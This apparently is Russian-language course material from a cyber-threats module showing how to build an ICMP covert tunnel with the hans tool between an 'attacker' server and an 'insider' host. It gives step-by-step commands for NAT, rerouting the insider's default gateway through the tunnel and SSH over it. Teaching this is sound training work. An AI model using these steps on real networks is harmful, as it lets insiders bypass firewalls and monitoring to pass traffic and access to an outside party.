# ICMP Tunneling #### 1. Установка необходимых инструментов > Команды ниже производим на машине атакующего и инсайдера > > Необходимо установить make, g++, net-tools > > ``` > apt update & apt upgrade > > apt install make > apt install g++ > apt install net-tools > > Если не установлен Git > apt install git > > ``` #### 2. Установка Hans на машине атакующего и инсайдера > 1. Необходимо клонировать утилиту **hans** с **git** > **`git clone https://github.com/friedrich/hans`** > > 2. Перейти в папку **hans** > **`cd hans/`** > > 3. Собрать исходники с помощью **make** > **`make`** > > 4. Переименовать папку **hans** в **hans-tunnel** > **`mv hans hans-tunnel`** > > 5. Переместить папку **hans-tunnel** на директорию выше > **`mv hans-tunnel ../`** > > 6. И соответственно перейти на директорию выше > **`cd ..`** > > 7. Проверить есть ли права на *выполнение, чтение и запись* у директории **hans-tunnel** > **`ls -la /hans-tunnel`** > #### 3. Создание ICMP Tunneling > 1. Создать интерфейс туннеля на сервере атакующего > **`./hans-tunnel -s 10.1.2.0 -p *указать пароль сервера который будет использоваться для подключения клиентов*`** > Созданному интерфейсу **tun0** присвоиться IP **10.1.2.1/24** > > 2. В **/etc/sysctl.conf** включить **forwarding** > **`nano /etc/sysctl.conf`** > **`расскоментить net.ipv4.ip_forward=1`** > > 3. Сохранить и применить изменения > **`sysctl -p`** > > 4. Прописать **NAT** > **`iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE`** > > 5. На машине инсайдера запустить **клиент hans**, таким образом подключив его к серверу и создание **ICMP туннеля** > **`./hans -c *указать IP сервера (не IP tun0)* -p *указать пароль сервера*`** > Созданному интерфейсу **tun0** присвоиться IP **10.1.2.100/24** > > 6. Для проверки роутинга > **`ip route`** > > 7. Можно направить трафик через основной интерфейс > **`ip route add *указать IP хост сервера*/32 via *указать gateway IP клиента*`** > > 8. Удалить дефолтный gateway и создать gateway сервера hans(tun0) атакующего > **`ip route delete default`** > **`ip route add default via 10.1.2.1`** > > 9. Для проверки сети пропингуем внешний ресурс > **`ping ya.ru`** #### 4. Реализация туннеля внутри туннеля > 1. Например можно использовать доступ по SSH > **`ssh root@10.1.2.100`** --- :::info Полезный материал по теме - [Инструкция hans](http://code.gerade.org/hans/) - [Hans на GitHub](https://github.com/friedrich/hans) - [Магия ssh](https://habr.com/ru/post/331348/) ::: ###### tags: `Cyber Infrastructure Threats`, `1 модуль`